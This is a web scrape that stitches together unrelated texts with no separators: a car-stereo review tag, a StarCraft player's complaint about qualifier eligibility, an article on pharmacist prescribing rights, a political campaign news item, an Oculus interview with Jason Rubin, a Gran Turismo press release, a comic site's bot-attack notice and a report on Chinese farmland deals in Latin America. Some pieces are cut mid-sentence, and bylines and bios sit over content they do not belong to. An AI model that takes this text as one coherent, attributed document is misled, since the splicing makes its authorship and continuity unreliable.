[schema type=”review” rev_name=”Apple CarPlay via the Pioneer AVH-X8650BT” rev_body=”A fantastic stereo already, which is improved immeasurably by Apple’s CarPlay” author=”Trevor Long” pubdate=”2014-10-03″ user_review=”5″ min_review=”0″ max_review=”5″ ]
Trev is a Technology Commentator, Dad, Speaker and Rev Head. He produces and hosts two popular podcasts, EFTM and Two Blokes Talking Tech. He also appears on over 50 radio stations across Australia weekly, and is the resident Tech Expert on Channel 9’s Today Show each day and appears regularly on A Current Affair. Father of three, he is often found down in his Man Cave. Like this post? Buy Trev a drink!
Co Authors :Now that I've slept for awhile and am thinking more clearly I want to clear up the situation a bit~
I have nothing against people who are residing in a region long-term from playing in a qualifier for that region. When I was at WCS ro8 last weekend, Polt was wondering if he could play so I asked them if it was possible, and explained he is staying here for school; and has been for awhile. And they said he was
Yesterday, this first came up when goswser came on (he just got off a flight from LA -> Toronto for WCS Season Finals casting) and he realized his next opponent was Apocalypse (playing under a smurf) who is not a legal resident of USA or Canada (requirement according to the rules (found here: http://cevo.com/event/redbull-battlegrounds/rules/). He has just come from Korea to play in WCS NA ro16, and has not been staying here long term (I even asked him at WCS when we were chatting and he said he lives in Seoul, Korea). All you had to do to actually sign up was to be using an IP within Canada or USA and in the sign up form say you are from one of those countries/at least 18/etc for the system to let you through. Anything else was up to the admin to deal with
Goswser set up to play the semifinals on a laptop in his hotel room, just after arriving, and talks to the admin wondering what is going on, why is there a Korean player in here?? It's supposed to be NA only. The admin tells me that he has a "temporary visa" and his manager talked to them so he is allowed to play in the qualifier. So dobler plays and gets knocked out in the semifinals
He is part of our Skype chat and of course we all know about it by now and are annoyed (it's like if MC/MMA/Genius/Duckdeok was playing European qualifiers while in Europe to play his WCS EU matches even though they don't actually live there). And Major was already mad at this qualifier because he wasn't allowed to play even though he does live in North America (because it would be more trouble for Red Bull to clear Mexican players); so Koreans are playing this but not the people it is supposed to be reserved for~?. I haven't played my ro4 match yet (vs State, who is playing IEM qualifiers at this time, so I have to wait), and I start talking to the admin myself. It turns out the temporary visa is just the b2 they issue you when you fly to USA from certain countries without applying for one prior (for travel/visits/etc; they also give this to us when we say we are going there for a tournament). It technically is for 6 months (or maybe 3 months from some countries, idk), but they only give it to us because we say we will be here for just 1 weekend, or 1 week, etc. I know when coLryze was going to the coL team house he tried saying he was going to stay there for a few months and they denied him at the airport and didn't let him through. But when they do let you through, they always give you the same duration, you're just not supposed to stay more than you say (the issue ViOlet had afaik; he technically didn't overstay his Visa but he was living there on a temporary b2; which you're absolutely not supposed to do).
So I explain this to the admin and he tells me that he has no control over removing ineligible players, and he has to talk to red bull legal about it the next day to sort it out (after the entire tournament is finished, ruining it). I get annoyed by this and say some things I shouldn't have :<. Then me and goswser contact someone from redbull (we had just been there for the WCS ro8->finals a few days prior). And receive the responses "I'm looking into it"; and then the same "it will be decided tomorrow whether he is disqualified but you MUST play out the bracket today.
I go on to win the semifinals against State and now I'm matched up against Apocalypse myself. We've been talking to the admin on and off for 2 hours at the point and its clear that they will do nothing and so I have to play what are effectively meaningless games (he should be dq the next day so they mean nothing). At this point I'm annoyed (what's the point of having a tournament admin if they're not allowed to do anything??) and sick/tired (only slept once since Monday morning, it's now Wednesday night ~ because there were a bunch of qualifiers going on and I had a 18 hour trip from LA back to Kingston). I made the poor decision of actually playing the games yesterday when I really shouldn't have; and just rushed to get them done, not really caring about what happened; and starting them asap without inviting casters cause I thought the games were pointless ~_~ I'm sorry to everyone watching/casting for doing this; it was worse than just not playing out the games (but I needed to make a point)
But the main issue is someone who is just here for a weekend tournament playing in a qualifier reserved for North American players; and the admin doing nothing to fix it
Reply · Report PostAlan A. Ayers, MBA, MAcc, is Practice Management Editor for JUCM, serves on the board of directors of the Urgent Care Association of America, and is Vice-President of Strategic Initiatives for Practice Velocity.
Urgent message: State boards of pharmacy, the National Association of Boards of Pharmacy, and large national drugstore chains are pushing for regulatory changes that would enable pharmacists to diagnose medical conditions and prescribe a range of medications, creating a new class of health-care provider for some patients who are treated in urgent care centers today.
“Within five years I expect pharmacists to have prescribing privileges,” said Patrick Carroll, MD, chief medical officer for Walgreens Healthcare Clinics, to the Urgent Care Association of America at its 2015 spring conference.1
State pharmacy boards, the National Association of Boards of Pharmacy, and several retail pharmacy chains have pushed to create a third category under U.S. Federal Drug Administration (FDA) regulations, redefining certain prescription drugs for common illnesses as “nonprescription drugs,” which would give pharmacists the right to routinely dispense them without prescription by physicians. If this proposal passes, urgent care providers may see pharmacists become a new type of health-care provider for walk-in patients. Physicians will be forced to work with pharmacists to coordinate a level of care to ensure the safety of their patients.
National pharmacy chains have been moving to redefine the role of the pharmacist for some time, engaging automation and pharmacy technicians in the dispensing process and focusing pharmacists on educating and consulting with patients. Walgreens, for instance, is moving its pharmacists from behind the dispensing counter to a front-and-center desk where they can interact one-on-one with customers.2 The retail drugstore chains, which have also launched in-store clinics staffed by nurse practitioners and have acquired other ancillary services such as home intravenous infusion and durable medical equipment, claim that pharmacists are trusted by patients because the pharmacists have training in human physiology and chemistry that emphasizes drug efficacy and interactions, and that pharmacists have a “complete view” of a patient’s health by seeing the patient’s prescriptions from multiple providers. They have expressed the belief that dispensing, which does entail some verification of dosing and interactions, is not an appropriate use of pharmacists’ education and skill set.
The rationale for this new proposal, according to the February 12, 2012 issue of the Federal Register,3 ultimately stems from the concern that many people with chronic medical conditions, such as asthma, migraines, high blood pressure, and high cholesterol levels, are currently being undertreated. These patients walk into pharmacies every day to ask their pharmacists for advice. State pharmacy boards say that pharmacists should be allowed to dispense medications to treat these prevalent conditions because many people place a significant level of trust in their pharmacist, especially patients with limited access to medical care.
Currently, all prescription medication must be prescribed by a licensed practitioner, which is defined as a medical doctor, nurse practitioner, physician’s assistant, or other type of practitioner, such as podiatrists and chiropractors, under limited circumstances. Under section 503(b)(1)(A) of the Federal Food, Drug, and Cosmetic Act (21 U.S. Code 353(b)(1)(A)), a drug must be dispensed by prescription if, ‘‘because of its toxicity or other potentiality for harmful effect, or the method of its use, or the collateral measures necessary to its use, [it] is not safe for use except under the supervision of a practitioner licensed by law to administer such a drug,” according to the Federal Register.3
At this time, pharmacists are able to dispense medications lawfully prescribed by others, evaluate whether there are any dangerous or fatal drug interactions, identify any incorrect dosages written on the prescription, and provide consultation on how to take a particular medication. They also have the ability to give advice on which over-the-counter medication to take for a particular ailment. That pharmacists are already advising patients is one of the arguments that pharmacists and drugstore chains have given the FDA in supporting their mission to change the law.
The current argument by both the pharmacy boards and drugstore chains is that certain treatments for ailments like high cholesterol levels, high blood pressure, and high triglyceride levels are routine enough that a pharmacist (who has some medical training) should be able to make an assessment on the basis of blood test results to prescribe the appropriate medication. This decreases the time and effort it takes a patient to get a prescription from a physician and would benefit all the undertreated patients who do not have the time to visit a physician for something as minor as obtaining a prescription. For example, “a pharmacist could make a recommendation regarding an appropriate drug therapy, based on results of testing for cholesterol or triglycerides,” explained Robert Glatter, MD, Forbes magazine contributor.4 Glatter has concerns similar to those of his medical colleagues:
I can certainly appreciate a pharmacist prescribing an inhaler to an asthma patient who is in acute distress in a pharmacy, or an [EpiPen auto-injector] to a person with an acute [life-threatening] allergic reaction standing in line at a pharmacy counter. However, I agree that the practice of allowing pharmacists to routinely prescribe certain classes of drugs has the potential to create an unsafe practice in certain subgroups of patients with multiple medical problems.
The FDA, however, views this proposal as an opportunity to provide a larger population of patients better access to basic health care, especially with the enactment of the Patient Protection and Affordable Care Act. The Federal Register acknowledges that a greater number of insured Americans, combined with an insufficient number of general practitioners, creates barriers to access.3 The advantage of allowing a pharmacist to see patients and prescribe drugs for common illnesses directly contributes to reducing health-care costs. The vision is that a patient can visit a pharmacist for routine treatment, rather than visit a physician who bills at a higher rate.
For urgent care operators, for whom the majority of patients they see are wanting treatment for low-acuity conditions such as upper respiratory infections, urinary tract infections, and minor skin conditions, a pharmacist with dispensing privileges would constitute a new class of competition, especially if “limited” prescribing privileges focus on creating a lower cost venue for these routine, minor conditions. Consumers who could approach a pharmacy counter for a diagnosis and prescription for a minor condition could save significant time and money by not visiting an urgent care center.
The FDA has also found that “some patients who obtain an initial prescription do not continue on necessary medication because they would need to make additional visits to a health care practitioner for a prescription refill.”3 Other patients need to visit their physician for routine blood tests before the physician will write a new prescription or authorize more refills. The FDA feels that this is unnecessary and that allowing a pharmacist to act as an intermediary in these situations, in a safe environment, would eliminate some of these issues.
By allowing pharmacists to handle basic health-care needs, this practice would relieve a burden for urgent care providers, emergency physicians, and other medical practitioners, allowing them to focus on more serious cases, the FDA believes. The medical field, however, disagrees.
Both the American Medical Association (AMA) and the American Academy of Family Physicians (AAFP) wrote letters of opposition about this new paradigm, pointing to significant risks in allowing pharmacists to play a bigger role in the medical field. The AMA has argued that pharmacists do not have the training to correctly prescribe a medication that is currently listed as a prescription drug by the FDA and that redefining certain medications as nonprescription could cause patients harm.
Glatter wrote4:
The proposed practice of allowing pharmacists to prescribe [so-called] “routine medications” under this proposal has the net effect of blurring the lines in the traditional relationship between patients, medical providers, and pharmacists.
During the FDA’s March 22, 2012 public hearing, Using Innovative Technologies and Other Conditions of Safe Use to Expand Which Drug Products Can Be Considered Nonprescription, representatives from both sides expressed their perspectives on this potential change to the FDA rules.5 Beverly Schaefer, RPh, who represented the National Community Pharmacists Association, said at the hearing:
Pharmacists have demonstrated over the years their ability to provide increased access to health care with implementing mass vaccination campaigns throughout the nation. During the 2009/2010 H1N1 influenza season, nearly one third of all immunizations were administered in [a] pharmacy.
State pharmacy boards, the National Association of Boards of Pharmacy, and all pharmacist associations agreed: Pharmacists who are allowed to prescribe certain routine medications will be able to streamline the system and provide medication to a greater population of those in need of health care. The FDA is also considering certain routine medications to be defined as both prescription and nonprescription. “Dual availability could help ensure greater access to needed medications by making obtaining them more flexible,” explained the Federal Register.
A few medical practitioners attended the FDA public hearing on expanding nonprescription drugs and voiced their concern and opposition to the addition of a third category proposed in the Federal Register. One such practitioner, internist Sandra Adamson Fryhofer, MD, MACP, FRCP, said5:
Well, one of the concerns I have, and you mentioned doses of medications, as an internist, I take care of adults of all ages, [from] adolescents [to the elderly]. My oldest patient is 94 and I hope she lives to be 104, and if I have anything to do with it, she will. [There was clapping from the audience.] So, I’m very concerned about doses of medication and that’s a big source of confusion, especially for my elderly patients.
Fryhofer continued, explaining that what might seem to be a small dosage change can be detrimental to a patient’s health. “The difference between some of my patients taking 10 milligrams of a blood pressure medicine and five milligrams of a blood pressure medicine can be the difference between them being able to walk to the restroom or falling right out of bed and having a hip fracture.” Several medical professionals expressed the belief that if a pharmacist is going to take on some of the responsibilities of a medical practitioner, then maybe they should be going to medical school. In the AAFP’s letter to the FDA opposing the proposal, AAFP Board Chair Roland Goertz, MD, MBA, explained6:
Only licensed doctors of medicine, osteopathy, dentistry, and podiatry have the statutory authority to prescribe drugs. Allowing the pharmacist authority to dispense medication without consulting with the patient’s physician first could seriously compromise the physician’s ability to coordinate the care of multiple problems of many patients.
Even though the AMA and the AAFP wrote letters of opposition, very few individuals from the medical community were present at the 2012 public hearing. However, a significant number of individuals were present who represented the pharmacists and drugstore chains supporting the proposal.
The good news is that the FDA has discussed seeking evidence that certain prescription drugs can safely be redefined as nonprescription and administered by pharmacists3:
We anticipate that, depending upon the situation, applications for approval of nonprescription products with conditions of safe use may need to include patient studies (e.g., self-selection studies, label comprehension studies, and actual use studies) to demonstrate that the drug would be safe and effective under the specified conditions.
What will the future of our health-care system look like if pharmacists are allowed to administer certain medications that have always been categorized as prescription drugs? How will urgent care practitioners, general practitioners, and pharmacists work together in this new system to minimize health risks to patients? No one knows yet. But it is vital that we address this issue.
References:
1. Carroll P. Patient centricity: the role of digital and retail health. Presented at the annual meeting of the Urgent Care Association of America; 2015 April 30; Chicago, Illinois.
2. Kamin B. Walgreens’ designs prove an upgrade for shoppers. Chicago Tribune. © 2014 [cited 2015 May 7]. Available from: http://my.chicagotribune.com/#section/-1/article/p2p-81524140/
3. Department of Health and Human Services: Food and Drug Administration. Using innovative technologies and other conditions of safe use to expand which drug products can be considered nonprescription; public hearing. Federal Register. 2012;77:39:12059–12062 [cited 2015 May 6]. Available |
20-75 percent. If Australian Internet users aren't thrilled about the metered 'Net connections that are common in the country, we can only imagine how much they will enjoy metered connections that run 20-75 percent slower and censor the Internet.GOP activist leaves party, joins Robert Sarvis Senate campaign
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Roanoke native and political activist Caleb Coulter has resigned his position with the Republican Party in order to work as full-time campaign manager for the Libertarian Party candidate for U.S. Senate, Robert Sarvis.
Mr. Coulter was elected to represent the Republican Party of Virginia at the 2012 Republican National Convention—the convention that nominated Mitt Romney as the Party’s presidential candidate, rather than Coulter’s preferred contender, Congressman Ron Paul. Coulter, age 28, also sought the Republican nomination to run in a special election early this year to fill Roanoke City’s seat in the Virginia House of Delegates. He has now resigned his executive committee post on the Roanoke City Republican Committee to campaign with the Libertarians, a move that he says is in line with his conscience and truest political leanings. In a letter announcing his resignation to the chairman of the Roanoke City Republicans, Coulter stated,
“It is time for me to employ myself where I can freely promote the values I cherish, rather than submitting them to the tarnish of a party awash in a history of corruption and perversions of those values; and of course, the Democrat Party is no better…. I, like an arguable majority of voters, am tired of settling for a choice between the lesser of two evils in elections, and hoping in vain to see any significant change for the better arise from within the Republican or Democrat party. I look forward to championing the values I believe in through the vehicle of a worthy candidate from a party with principles. I believe that candidate is Robert Sarvis.”
Coulter’s move is indicative of a burgeoning movement of voters and political leaders to the libertarian view, as well as an ongoing schism of factions within the Republican party. When asked what brought him to the Libertarian camp, Coulter says he has held to a libertarian philosophy for a long time, but only now has decided to join the nascent growth of the political party, which has struggled for years to gain recognition in a political field dominated by an entrenched two-party system. Said Coulter,
“In this year’s Senate race, conservatives would be wise to distrust Ed Gillespie’s commitment to limited government and fiscal restraint, based on his career as a corporate lobbyist and Bush Administration official; and progressives should be thoroughly disappointed in Mark Warner’s abysmal record on civil liberties, corporate welfare, and failure to address the debt, to name a few. I look forward to earning support from those disaffected by the choice between these two standard bearers of the corrupted status quo in Washington, D.C., by offering them a candidate with real principles and integrity. Robert Sarvis is the only man in this race who is in touch with the people’s desire for common sense and principled leadership on the issues that most directly affect them.”
Mr. Coulter points to a decade of grassroots organizing and political activism, including volunteer leadership in Ron Paul’s 2012 presidential campaign, as his base of experience for managing the statewide campaign to elect Robert Sarvis.
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Shop GoogleJason Rubin is a 30-year veteran of video games and the cofounder of Naughty Dog, the maker of the Crash Bandicoot series and many of the world’s best-selling titles. He sold Naughty Dog to Sony in 2001, and left in 2004. Then he moved into the world of startups, creating comics and an Internet business. He also had a brief, ill-fated stint as president of THQ before it went bankrupt in 2013.
But now he’s back as the head of worldwide studios at Oculus VR, which Facebook bought for $2 billion. Rubin says that he saw a demo and was sold on the potential for virtual reality to provide amazing, immersive experiences for gamers.
Yet he also believes that making VR right is the “single biggest learning curve” in all of his years making games. He believes that game developers have to dive in, experiment, and even fail a few times to have a shot at the financial “gold rush” that will happen if VR truly becomes a mass market.
Rubin talked about his views on VR — and whether he’ll make a VR game himself — in a fireside chat with Geoff Keighley, the creator of video game award show The Game Awards, at our GamesBeat 2015 conference. Here’s an edited transcript of the fireside chat.
Image Credit: Michael O'Donnell/VentureBeat
GamesBeat: You came back to games for Oculus.
Jason Rubin: Once a developer, always a developer, right?
GamesBeat: You and I over the years have always talked about what it would take to get you back into games. You had ideas for games you wanted to make, but you didn’t make, after you left Naughty Dog. Let me ask you about the idea of VR in general. What was the moment for you, after working so many years on games, that you first put on VR? Were you an instant believer?
Rubin: Absolutely. Brendan Iribe called me down. He’s the CEO of Oculus. He said, “You need to see this thing.” I went in assuming I wouldn’t be that impressed. I’ve seen a lot of technology over the years. But I put it on and I was an instant believer. I got into games to make worlds. I walked out of Star Wars at seven years old and wanted to be George Lucas. I think every game maker has wanted to create worlds. After 20 years of creating flat experiences, I got—Not tired of it, but I had done the same thing long enough that I wanted to take some time off. Seeing VR and the ability to create a world that you’re completely immersed in was what got me excited to get back into games on a full-time basis.
GamesBeat: Back then they weren’t interactive, right? It was just being able to look around. That level of immersion was enough to excite you about what gameplay could eventually be?
Rubin: Yeah. The promise is there. People talk about presence. It’s one of those wishy-washy terms that no one’s really defined. But there’s a moment in the demo I got a year and a half ago now, almost two years ago, where you’re at the edge of a building. I’ve given that demo now hundreds of times. I stepped off the building, but it took a conscious decision to override my instincts not to. Nine out of 10 people or more, I can’t coach them to step off the virtual building. You say, “Look, you’re in a room. You were in a room 15 minutes ago. You know you’re not really on a building. We would never kill you. I’m gonna hold your hand in the real world. Just take a step forward.” Most people say, “I get it. But I’m not gonna do it. I can’t.” Even though it’s not interactive — no long-term gameplay, no compulsion loop, no feeling of achievement, all those things games will bring to it – I knew at that moment that if I can make you afraid to walk forward, I can make see you anything. I can make you believe you’re in another universe
GamesBeat: What’s your role at Oculus now? You were a developer first. You like making games. There are lots of interesting people at Oculus, but your role at Oculus Studios — you’re making and funding first-party games at Oculus?
Rubin: My title is head of studios. I’m in charge of all of what we call the lighthouse titles that Oculus is funding and working on. We have a production group. We’re trying to share best practices among many developers and explore the infinite possibilities that VR brings 10 or 20 titles at a time. We’ll figure out what works and what doesn’t work. VR is a unique challenge. When I started making Crash Bandicoot, Andy and I decided we would make a character action game work in 3D. Most people don’t realize how big a challenge that was. It hadn’t really been done up to that point. A lot of what Mario and Sonic and Donkey Kong Country relied on in terms of precision jumping and everything else just doesn’t translate into 3D. You can’t judge distance, especially because it was a blend of 2D and 3D. It wasn’t stereo. It was just polygons rendered on a screen. It took us a year of R&D to get to the point where we created Crash. A lot of what we did was determined by the hardware we were dealing with.
Crash is mostly an in and out game, whereas our competitor Mr. Miyamoto created a game where you run around much more freely. The reason for the difference is simple. He decided he wanted an analog stick and released the first analog stick. We were stuck with an old-school digital pad. We did in-out-left-right because that’s what we were given. This challenge reminds me a lot of that, but amplified. Everything you do, you can’t rely on what you learned in the past. Everything has to be discovered anew. For the first time, you have the ability to make someone feel uncomfortable in VR. That’s much bandied about, as if it would somehow be a barrier for VR. It’s not a barrier. It’s a challenge, but there are so many things you can do outside of that realm, outside of this space in which you feel uncomfortable, that it’s really a question of filling that space and then moving in around the edges.
How do we make a character action game in 3D? How do we move that character action game into VR? Very similar. I got that feeling that I hadn’t had since Crash Bandicoot – discovering the new. That made it exciting for me, made it worth doing. And I get to work on many projects, as opposed to just one as a developer. I’m a producer, so I get to dip my head in and out and work on many projects. It’s amazing, seeing the tiny inventions that people come up with. Sniper rifles don’t work well in VR. Imagine your vision is suddenly magnified 10 times. You wouldn’t be able to walk. High Voltage, working on a game called Damage Course, solved that problem and did it in a way that doesn’t make you uncomfortable. We’re moving into all these little areas where people say, “You can’t do that kind of game.” We’ll figure it out. It’ll be different, but we’ll figure out how to get there.
Image Credit: Oculus
GamesBeat: How much of your stuff right now is experimental versus actual products that you know you want to eventually bring to market?
Rubin: Most of what we’re doing is products. Michael Abrash gave a speech at Facebook Connect about the future of VR. He was saying how far we have to go, and how each challenge from inner ear to eye to smell—All of these things about VR have their own challenges. We don’t know how long it’s going to take. We’re working toward it. It’s a long journey.
I live in the opposite world. I go to a developer and say, “You want to do a sports game? I want to do a sports game. Here’s your budget. Here’s your timeline. We don’t know how the hell this is going to work, but I want football, baseball, basketball, hockey. Go.” And then we have to backfill into that. Amazingly, we’ve been able to do that. We’ve shown hockey. We’ve shown football on the screen. It’s amazing. You’re a quarterback. You pass the ball and then you become the receiver and catch the ball. It’s very centered around making products, getting to products.
GamesBeat: For a lot of people here who may be in development or in companies related to VR, we’ve seen an explosion of investment in VR. A lot of people may be wondering what the addressable market is going to be. Oculus can afford to forward invest in some of these games and not necessarily think about the P&L right off. But when you think of the go-to-market strategy for games and developers, a lot of people are jumping in right now. Does the math work in terms of how many people have to work on these games for how long relative to how many headsets will be out there in a year or two?
Rubin: I thought that the challenge in my job when I started would be convincing developers to make this leap. I’ve gone at it in two ways. The first way is to say, “Remember when touch games first came out and people said it would never work?” A lot of the industry just ignored it, but a few developers decided to jump in at a time when nobody knew if there was a business there. Some of them became Rovio. Some of them were early enough that they had that hit that became massive. There was a lot of trial and error at Rovio, a lot of failed games before they hit Angry Birds. What they learned gave them the ability to get there. We’re now into multiple generations of learning and getting ahead. This is the single largest learning curve I’ve ever seen in games.
Naughty Dog just celebrated its 30th anniversary, so I’ve been at least 30 years in the games industry, and this is the single largest challenge. It also feels like an inevitability to everyone that uses it. If you believe this is inevitable, and if you believe this is a hard challenge, getting in early and failing a few times – perhaps financially failing a little bit, struggling, making sure you make ends meet – is the best way to give yourself a shot at the next gold rush in the industry. The gold rush is not there anymore in mobile, at least from my perspective. It’s very hard to get there. So that’s one way.
People have been very accepting of that concept. The second way I’ve won hearts and minds is just putting them in VR. The minute you do that, they want to do it. The most important indication of the success of VR, to me, has been the fact that every single developer I’ve signed at Oculus has asked me to do a second title. They’ve either signed or they’re pitching to do a second title. Many developers, some of them well-known developers, have said, “Listen. We’re winding down our other contracts over time. We’re all in on VR.” Not a single developer I’ve worked with has said, “After this game I’ll go back to doing something else.” It’s incredibly compelling. If all the developers we’re working with buy in, it’s going to create the content that brings the audience.Polyphony Digital Inc., creator of PlayStation®’s best-selling Gran Turismo® franchise, has announced a unique partnership with a number of leading automotive manufacturers, design houses and other leading global brands. Design teams from Alfa Romeo, Alpine, Aston Martin, Audi, BMW, Bertone, GM Design, Honda, Infiniti, Italdesign Giugiaro, JORDAN Brand, Mercedes-Benz, Nike, Nissan, Peugeot, SRT(Chrysler), Volkswagen and Zagato will create concept models giving a unique insight into the future of the automotive sector. Their designs will then be recreated as working cars for the new Gran Turismo®6 game due for release on 6th December, 2013. The initiative celebrates 15 years of the 70-million-selling franchise and is known as "Vision Gran Turismo".
Vision Gran Turismo will include cars such as the BMW Vision Gran Turismo, an exclusive virtual concept derived from the BMW M genes. Volkswagen gave free rein to their designers to explore the future of the iconic Golf GTI with the Golf GTI Vision Gran Turismo. The Alfa Romeo 6C Biposto Vision Gran Turismo, created by the team responsible for the Alfa Romeo 4C, will celebrate an iconic model from the 1930’s. A bold glimpse into the future, the Mercedes-Benz AMG Vision Gran Turismo unites sensual purity with classic Mercedes-Benz design elements. Nike makes an intriguing foray into automotive design, following the company’s collaboration with Polyphony Digital Inc. on the design of the revolutionary concept vehicle, Nike ONE for Gran Turismo 4.
The cars will be released by Polyphony Digital from 2013 to 2014 as gifted downloadable content (DLC) to owners of Gran Turismo 6 through online update. Vision Gran Turismo has been developed as a ‘thank you’ to the franchise’s loyal fan base for its successful 15-year history.
“This is a very exciting project,” explained legendary Gran Turismo creator and President of Polyphony Digital Inc. Kazunori Yamauchi. “Ever since we released the first Gran Turismo game 15 years ago, GT has resonated with the automotive world and we have enjoyed many different and fascinating collaborations. But Vision Gran Turismo is probably our most ambitious to date. It promises to provide a window into the future of automotive design that we can bring to life in Gran Turismo 6. We are extremely grateful to all of our design partners in this project for their amazing birthday present to Gran Turismo to celebrate the franchise’s 15 year anniversary, and are so excited to share this gift with our fans. Working closely with the leading lights of automotive design, as well as some design teams from outside of the industry, has been a rare privilege and we look forward to sharing their creations with fans of Gran Turismo from this year through to 2014”.
The team at Polyphony Digital has a long history of innovative partnerships with manufacturers that underlines the breadth and depth of "the real driving simulator". Fascinating co-operations to date have included the Red Bull X2010 ultimate race car, GTbyCitroën concept, an innovative new GPS and data app developed for the Toyota GT86, and partnerships with Nissan that include Polyphony designing a display for the real Nissan GT-R and the highly-successful GT Academy virtual-to-reality racing driver development competition.
Gran Turismo 6 will be released on 6th December, 2013. The game is already available for pre-order through a number of retailers. Those pre-ordering the GT6 Anniversary Edition or the standard edition will receive a number of additional cars when the game is released.
Comments from some of the manufacturers involved in Vision Gran Turismo include:
Adrian van Hooydonk, Senior Vice President BMW Group Design
“Gran Turismo and BMW share the mutual genes of enthusiasm for modern and classics cars. I have known the Gran Turismo series right from the beginning – the increased level of realism in visualisation and the authentic driving experience in Gran Turismo 6 is incredibly impressive.”
Andreas-Christoph Hofmann, Vice President Brand Communication BMW
“Vision Gran Turismo is a very creative opportunity to present our BMW Design vision, which we developed exclusively for this game, in an innovative way. We are very excited and looking forward to the feedback of the global community. It’s our way of congratulating Polyphony and Sony for the 15th Anniversary of the Gran Turismo franchise!”
Lüder Fromm, Head of Global Marketing Communications, Mercedes-Benz Passenger Cars
“Video games are perfectly suited to precisely addressing young, modern target groups on an emotional level. Gran Turismo 6, with its uncontested reputation as setting the benchmark in the racing-games genre, provides the perfect platform for creating an interactive experience with a new, visionary concept for a Mercedes-Benz’s super sports car. We are certain that the concept vehicle will inspire millions of gamers and Gran Turismo fans worldwide.”
Klaus Bischoff, Director, Volkswagen Design
"The Vision GT project offers a great opportunity to flesh out extreme ideas and portray the Volkswagen GTI’s design elements as vividly, dynamically and emotionally as possible. The further development of an unmistakable design and loving attention to detail reflect the high standards shared by the Volkswagen GTI product brand and Gran Turismo by Sony PlayStation. We look forward to creating a vehicle that gamers can use to gain unrivalled virtual experiences of the GTI world."Hi, all! This is the Zits admin. We’ve had a few folks recently write to us because of some technical issues on the site.
We were hit by a bot attack a couple of weeks ago, and that knocked our website out until we could add some improvements to increase security. But one of our security fixes conflicted with some other software we were using, so some of you may have run into some problems then, too.
We seem to have everything ironed out as of last week and have not received any new reports of problems. If you have ANY problems with the site in the future, the best place to contact someone who can help is support@comicskingdom.com. That’s our tech support email, and someone will get back to you as soon as they can.
Thanks for letting us know about the issues– it helps us diagnose the problem so we can fix it faster. Here’s to smooth sailing for the foreseeable future!BUENOS AIRES — Few were surprised when Venezuela announced a deal with China last week to restore 1.4 million acres of unproductive farmland across the oil-rich but impoverished South American nation.
China increasingly is buying farmland and agricultural companies in South America to feed its ever-growing population, currently estimated to be 1.34 billion.
The most important aspect of China’s agricultural investment in Latin America is that “it is a part of the increasing physical footprint of the People’s Republic of China that is just beginning to occur,” said Evan Ellis, an assistant professor at National Defense University in Washington.
Mr. Ellis said that “with the Chinese becoming mine owners, petroleum-field operators, factory managers and dam builders in Latin America,” China’s farming operations there “will immerse the Chinese, with their very different culture, in one of the most politically charged phenomena in the region - the relationship between the Latin American people and their land.”
Central to China’s rising agricultural-industrial complex are soybeans from Brazil and Argentina, millions of tons of which the Chinese are importing to feed cows and pigs to meet a growing demand for meat.
From 2005 to 2011, China’s soybean demand nearly doubled to more than 70 million tons per year, while domestic production declined 10 percent to 14 million tons, according to SinoLatin Capital, a Shanghai-based investment firm focused on transactions between Latin America and China.
China is working to close that deficit by infusing cash into Latin American economies in exchange for allowing Chinese government-owned companies to set up shop and extract basic food goods:
• The Chongqing Grain Group has agreed to build an industrial complex for soybean processing in Brazil’s Bahia state, where it reportedly plans to invest up to $2.4 billion.
• The Hong Kong-based company Noble Group is steering $237 million to a similar project in Brazil’s Mato Grosso region.
• China’s Sanhe Hopeful Grain & Oil announced plans in April to put $7.5 billion into soybean processing facilities in the state of Goias in exchange for an annual supply of 6 million tons of the legumes from Brazil, a deal that reportedly includes building a railroad to move products out of the facility.
Mr. Ellis notes that the Chinese agricultural giant Helionjiang Beidahuang, the China National Agricultural Development Group Corp. and Chongqing Grain Group have made clear their intention to buy Brazilian land in coming years.
In Argentina last year, Beidahuang inked a deal with the provincial government of Rio Negro to help develop more than 800,000 acres of farmland and upgrade a port in exchange for soybean exports over the next 20 years.
Attempts to contact Beidahuang were not successful.
Officials at the Chinese embassies in Brazil or Argentina did not respond to requests for comment.
Neocolonial claims
While Chinese demand for commodities has fueled economies in Brazil and Argentina, it also has prompted unease and a backlash of sorts.
Common are complaints that neocolonial-style trade - raw exports going to China while higher-value Chinese imports flood local markets - is creating the kind of wealth that can dissipate eventually.
Without naming China, the Argentine Congress in December passed legislation that limits foreign owners to 2,470 acres and caps the total land area that can be owned by foreigners at 15 percent.
What’s more, political backlash and a lawsuit have killed Beidahuang’s deal in Rio Negro.
Brazil also is responding in kind. After several Chinese attempts to buy large tracts in 2010, Brazil’s attorney general last year used a 40-year-old law to make it harder for foreigners to buy land. Lawmakers in March will vote on a bill that would codify those restrictions.
Jorge Rulli of the environmental organization Grupo de Reflexion Rural said the Argentine land law doesn’t stop Chinese companies from buying into local companies that then do their bidding.
He cited a long-reported deal between Beidahuang and Cresud, Argentina’s largest soybean producer. But a Cresud representative told The Washington Times that there is “currently no deal” between the companies.
Still, similar criticisms have been leveled against Brazil’s land law.
Paulo Sotero, a Brazil analyst at the Woodrow Wilson International Center for Scholars in Washington, noted that the country’s constitution does not discriminate between foreign and Brazilian owners.
“So a legislation that does could be challenged in the courts,” he said.
Thilo Hanemann, research director at the Rhodium Group, an investment advisory and strategic planning firm in New York, said political backlash against land deals has driven Chinese companies to shift strategies.
“They’re turning away from their obsession of ownership in these sensitive sectors and finding more flexible solutions to get what they need,” he said. “They’re now seeking small stakes in companies or buying into long-term supply contracts, processing plants and infrastructure.”
Strength or weakness?
Mr. Hanemann dismisses the perception that Chinese investment in natural resources and global commodities is a product of strength and colonial ambition.
“Chinese agricultural investment is sign of weakness rather than strength,” he said. “Their food demand is increasing, but Chinese companies currently have a minor foothold in the global supply chain and inferior productivity at home.”
In the 1960s, agriculture accounted for more than 40 percent of China’s total gross domestic product, but that figure today stands at 10 percent, according to SinoLatin Capital.
SinoLatin analyst Felipe Canales said China’s needs can translate into gains for developing countries. Proper land acquisitions can create jobs, boost salaries and improve infrastructure, he said.
He also noted another reason Chinese companies are seeking local partners.
“There is more risk to agriculture,” Mr. Canales said. “If you’re investing in a mine, you usually have proof of copper. Agriculture is more uncertain.”
Chinese who invest in agriculture see Latin America as a far-away region with a language and culture they don’t understand, he said. “So it’s best to get a minority stake in a local partner, learn from them and later acquire a bigger stake.”
Kory Melby, a U.S. farmer who works in Brazil as an agricultural investment consultant, said he has received calls and emails from Chinese grain buyers wanting to partner with Brazilian grain warehouses.
